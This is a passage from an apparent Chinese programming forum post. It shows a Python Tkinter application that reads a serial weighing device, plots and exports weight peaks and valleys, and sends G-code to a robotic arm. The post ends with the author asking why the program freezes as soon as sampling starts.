fontweight='bold') # 绘制原始数据 if self.raw_data: plot_raw_weight = [w if self.unit == "g" else w * 0.0098 for _, w in self.raw_data] time_labels = [t for t, _ in self.raw_data] if len(plot_raw_weight) > 100: plot_raw_weight = plot_raw_weight[-100:] time_labels = time_labels[-100:] x_data = range(len(plot_raw_weight)) # 修复 xlim 警告 if len(plot_raw_weight) == 1: self.ax.set_xlim(-0.5, 0.5) else: self.ax.set_xlim(0, max(len(plot_raw_weight)-1, 0)) self.line.set_data(x_data, plot_raw_weight) if plot_raw_weight: y_min, y_max = min(plot_raw_weight), max(plot_raw_weight) y_margin = (y_max - y_min) * 0.1 if len(plot_raw_weight) > 1 else 0.5 self.ax.set_ylim(y_min - y_margin, y_max + y_margin) step = max(1, len(time_labels) // 10) x_ticks = range(0, len(time_labels), step) x_labels = [time_labels[i] for i in x_ticks] self.ax.set_xticks(x_ticks) self.ax.set_xticklabels(x_labels, rotation=45, fontsize=8) else: self.ax.set_ylim(0, 1) self.ax.set_xlim(0, 1) else: self.line.set_data([], []) self.ax.set_xlim(0, 1) self.ax.set_ylim(0, 1) # 绘制峰值和谷值 peak_times = [] peak_weights = [] valley_times = [] valley_weights = [] if self.peak_valley_log and self.raw_data: # 创建一个时间到索引的映射,提高查找效率 time_to_idx_map = {t: i for i, (t, w) in enumerate(self.raw_data)} for pt, pw, ppv in self.peak_valley_log: idx = time_to_idx_map.get(pt, -1) if idx != -1: if ppv == 'peak': peak_times.append(idx) peak_weights.append(pw if self.unit == "g" else pw * 0.0098) elif ppv == 'valley': valley_times.append(idx) valley_weights.append(pw if self.unit == "g" else pw * 0.0098) self.peak_line.set_data(peak_times, peak_weights) self.valley_line.set_data(valley_times, valley_weights) self.fig.tight_layout() self.canvas.draw() self.root.after(200, self.update_plot_periodic) def toggle_unit(self): with self.lock: if self.unit == "g": self.unit = "N" self.unit_btn.config(text="切换到g") # 更新表格单位 for item in self.peak_log_tree.get_children(): values = self.peak_log_tree.item(item, "values") if values[2] in ['peak', 'valley']: new_weight = float(values[1]) * 0.0098 self.peak_log_tree.item(item, values=(values[0], f"{new_weight:.4f}", values[2])) else: self.unit = "g" self.unit_btn.config(text="切换到N") # 更新表格单位 for item in self.peak_log_tree.get_children(): values = self.peak_log_tree.item(item, "values") if values[2] in ['peak', 'valley']: new_weight = float(values[1]) / 0.0098 self.peak_log_tree.item(item, values=(values[0], f"{new_weight:.2f}", values[2])) self.update_weight_display() self.add_log(f"单位已切换为:{self.unit}") def set_sample_interval(self): try: interval = int(self.interval_spin.get()) if 50 <= interval <= 5000: self.sample_interval = interval self.add_log(f"采样间隔已设置为:{interval}ms") else: messagebox.showerror("错误", "采样间隔需在50-5000ms之间") except ValueError: messagebox.showerror("错误", "请输入有效数字") def calibrate_zero(self): if not self.is_connected: messagebox.showerror("错误", "未连接称重设备") return try: zero_cmd = bytes.fromhex("010600120001E80F") self.ser.write(zero_cmd) time.sleep(0.5) response = self.ser.read(8) if len(response) == 8 and response[0] == 0x01 and response[1] == 0x06: self.add_log("零点标定成功") messagebox.showinfo("成功", "零点标定已完成") else: messagebox.showerror("失败", "零点标定响应异常") except Exception as e: messagebox.showerror("失败", f"零点标定错误:{e}") def calibrate_weight(self): if not self.is_connected: messagebox.showerror("错误", "未连接称重设备") return weight_dialog = tk.Toplevel(self.root) weight_dialog.title("砝码标定") weight_dialog.geometry("300x150") weight_dialog.transient(self.root) ttk.Label(weight_dialog, text="请输入砝码重量(g):").pack(pady=10) weight_entry = ttk.Entry(weight_dialog) weight_entry.pack(pady=5) weight_entry.focus() def confirm_calib(): try: weight_g = float(weight_entry.get()) if weight_g <= 0: raise ValueError("重量需大于0") cal_value = int(weight_g) low_word = cal_value & 0xFFFF high_word = (cal_value >> 16) & 0xFFFF cal_cmd = bytes([0x01, 0x10, 0x00, 0x08, 0x00, 0x02, 0x04, low_word >> 8, low_word & 0xFF, high_word >> 8, high_word & 0xFF]) crc = self.calculate_crc(cal_cmd[:-2]) cal_cmd += crc.to_bytes(2, byteorder="little") self.ser.write(cal_cmd) time.sleep(0.5) response = self.ser.read(8) if len(response) == 8 and response[0] == 0x01 and response[1] == 0x10: trigger_cmd = bytes.fromhex("010600120002E80A") self.ser.write(trigger_cmd) time.sleep(0.5) self.add_log(f"砝码标定成功(砝码重量:{weight_g}g)") messagebox.showinfo("成功", f"砝码标定已完成(砝码:{weight_g}g)") else: messagebox.showerror("失败", "砝码值写入异常") weight_dialog.destroy() except Exception as e: messagebox.showerror("错误", str(e)) weight_dialog.destroy() ttk.Button(weight_dialog, text="确认", command=confirm_calib).pack(pady=10) def calculate_crc(self, data): crc = 0xFFFF for byte in data: crc ^= byte for _ in range(8): if crc & 0x0001: crc >>= 1 crc ^= 0xA001 else: crc >>= 1 return crc def reset_extremes(self): # 在主线程中调用,需要获取锁 with self.lock: self.max_weight = None self.min_weight = None self.max_time = None self.min_time = None # 保留原始数据的清空逻辑,但确保在加锁时进行 self.raw_data = [] self.peak_valley_log = [] self.new_peak_valley_events = [] # 清空表格 for item in self.peak_log_tree.get_children(): self.peak_log_tree.delete(item) # 重置峰值检测状态 self.peak_detection_buffer = [] # 重置辅助变量 self.last_peak_time = None self.last_valley_time = None self.last_peak_weight = None self.last_valley_weight = None # 重置最后权重 self.last_weight = None # 在锁释放后更新显示 self.update_weight_display() self.add_log("最值记录、数据缓冲区、峰值检测状态已清零") def export_peak_valley_log_to_excel(self): with self.lock: if not self.peak_valley_log: messagebox.showerror("错误", "无峰值/谷值日志数据可导出") return save_path = filedialog.asksaveasfilename( defaultextension=".xlsx", filetypes=[("Excel文件", "*.xlsx")], title="选择Excel保存路径" ) if not save_path: return # 在新线程中执行耗时的Excel导出操作,避免阻塞GUI threading.Thread(target=self._export_peak_valley_log_to_excel_threaded, args=(save_path,), daemon=True).start() def _export_peak_valley_log_to_excel_threaded(self, save_path): try: wb = openpyxl.Workbook() ws = wb.active ws.title = "峰值谷值日志" headers = ["序号", "时间", "重量(g)", "重量(N)", "类型 (Peak/Valley)"] for col, header in enumerate(headers, 1): cell = ws.cell(row=1, column=col, value=header) cell.font = Font(bold=True) cell.alignment = Alignment(horizontal="center") for row, (time_str, weight_g, pv_type) in enumerate(self.peak_valley_log, 2): ws.cell(row=row, column=1, value=row-1) ws.cell(row=row, column=2, value=time_str) ws.cell(row=row, column=3, value=round(weight_g, 2)) ws.cell(row=row, column=4, value=round(weight_g * 0.0098, 4)) ws.cell(row=row, column=5, value=pv_type) # 统计信息 peaks = [w for _, w, t in self.peak_valley_log if t == 'peak'] valleys = [w for _, w, t in self.peak_valley_log if t == 'valley'] start_row = len(self.peak_valley_log) + 3 if peaks: ws.cell(row=start_row, column=1, value="峰值统计") ws.cell(row=start_row + 1, column=1, value="最大峰值") ws.cell(row=start_row + 1, column=3, value=round(max(peaks), 2)) if valleys: ws.cell(row=start_row + 2, column=1, value="谷值统计") ws.cell(row=start_row + 3, column=1, value="最小谷值") ws.cell(row=start_row + 3, column=3, value=round(min(valleys), 2)) # 图表 chart = LineChart() chart.title = "峰值谷值变化曲线" chart.x_axis.title = "序号" chart.y_axis.title = "重量 (g)" x_data = Reference(ws, min_col=1, min_row=2, max_row=len(self.peak_valley_log)+1) y_data = Reference(ws, min_col=3, min_row=1, max_row=len(self.peak_valley_log)+1) chart.add_data(y_data, titles_from_data=True) chart.set_categories(x_data) for series in chart.series: series.dataLabels = DataLabelList() series.dataLabels.showVal = True ws.add_chart(chart, "G2") wb.save(save_path) # 在主线程中更新日志和弹窗 self.root.after(0, lambda: self.add_log(f"峰值/谷值日志数据已成功导出至:{save_path}")) self.root.after(0, lambda: messagebox.showinfo("成功", f"峰值/谷值日志数据导出完成!\n路径:{save_path}")) except Exception as e: # 在主线程中处理错误 self.root.after(0, lambda: messagebox.showerror("失败", f"Excel导出错误:{e}")) self.root.after(0, lambda: self.add_log(f"Excel导出失败:{e}")) # ========== 机械臂功能(保持不变)========== def refresh_arm_ports(self): ports = [p.device for p in serial.tools.list_ports.comports()] self.arm_port_combo["values"] = ports if ports: self.arm_port_combo.current(0) def toggle_arm_connection(self): if not self.arm_is_connected: port = self.arm_port_combo.get() baud = int(self.arm_baud_combo.get()) if not port: messagebox.showerror("错误", "请选择机械臂COM口") return try: self.arm_ser = serial.Serial(port, baud, timeout=1) self.arm_is_connected = True self.arm_connect_btn.config(text="断开机械臂") self.send_gcode_btn.config(state=tk.NORMAL) self.x_left_btn.config(state=tk.NORMAL) self.x_right_btn.config(state=tk.NORMAL) self.add_log(f"机械臂已连接:{port} @ {baud}") except Exception as e: messagebox.showerror("连接失败", str(e)) self.add_log(f"机械臂连接失败:{e}") else: if self.arm_ser and self.arm_ser.is_open: self.arm_ser.close() self.arm_is_connected = False self.arm_connect_btn.config(text="连接机械臂") self.send_gcode_btn.config(state=tk.DISABLED) self.x_left_btn.config(state=tk.DISABLED) self.x_right_btn.config(state=tk.DISABLED) self.add_log("机械臂已断开") def move_arm(self, axis, direction): if not self.arm_is_connected: return step = self.move_step.get() cmd = f"G91\nG0 {axis}{direction * step:.3f}\n" try: self.arm_ser.write(cmd.encode()) self.add_log(f"手动移动: {cmd.strip()}") except Exception as e: self.add_log(f"移动失败: {e}") def send_gcode(self): if not self.arm_is_connected or self.running_gcode: return self.gcode_content = self.gcode_text.get("1.0", tk.END).strip() if not self.gcode_content: messagebox.showwarning("警告", "G-code 为空!") return self.running_gcode = True self.send_gcode_btn.config(state=tk.DISABLED) self.stop_gcode_btn.config(state=tk.NORMAL) self.current_loop = 0 threading.Thread(target=self._send_gcode_lines, args=([line.strip() for line in self.gcode_content.splitlines() if line.strip() and not line.startswith(';')],), daemon=True).start() def _send_gcode_lines(self, lines): for line in lines: if not self.running_gcode: break try: self.arm_ser.write((line + '\n').encode()) time.sleep(0.1) except Exception as e: self.add_log(f"G-code 发送错误: {e}") self.running_gcode = False break self.root.after(500, self.run_gcode_loop) def run_gcode_loop(self): if not self.running_gcode or self.current_loop >= self.loop_count.get(): self.finish_gcode_run() return self.current_loop += 1 self.add_log(f"▶ 开始第 {self.current_loop} 次循环...") threading.Thread(target=self._send_gcode_lines, args=([line.strip() for line in self.gcode_content.splitlines() if line.strip() and not line.startswith(';')],), daemon=True).start() def stop_gcode(self): self.running_gcode = False self.add_log("⏹ G-code 运行已停止") def finish_gcode_run(self): self.running_gcode = False self.send_gcode_btn.config(state=tk.NORMAL) self.stop_gcode_btn.config(state=tk.DISABLED) try: winsound.Beep(1000, 300) except: pass # 非Windows忽略 self.add_log("✅ G-code 循环运行完成!") def export_gcode_config(self): config = { "gcode": self.gcode_text.get("1.0", tk.END).strip(), "loop_count": self.loop_count.get(), "move_step": self.move_step.get() } path = filedialog.asksaveasfilename( defaultextension=".json", filetypes=[("JSON 文件", "*.json")], title="导出G-code配置" ) if path: with open(path, 'w', encoding='utf-8') as f: json.dump(config, f, ensure_ascii=False, indent=2) self.add_log(f"G-code 配置已导出:{path}") def import_gcode_config(self): path = filedialog.askopenfilename( filetypes=[("JSON 文件", "*.json")], title="导入G-code配置" ) if path: try: with open(path, 'r', encoding='utf-8') as f: config = json.load(f) self.gcode_text.delete("1.0", tk.END) self.gcode_text.insert("1.0", config.get("gcode", "")) self.loop_count.set(config.get("loop_count", 1)) self.move_step.set(config.get("move_step", 1.0)) self.add_log(f"G-code 配置已导入:{path}") except Exception as e: messagebox.showerror("导入失败", str(e)) self.add_log(f"配置导入失败:{e}") if __name__ == "__main__": root = tk.Tk() app = USBWeightMonitor(root) root.mainloop() 帮我分析这个代码为什么一采样就卡死
最新发布
11-14
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

微笑点燃希望

你的鼓励是我创作最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值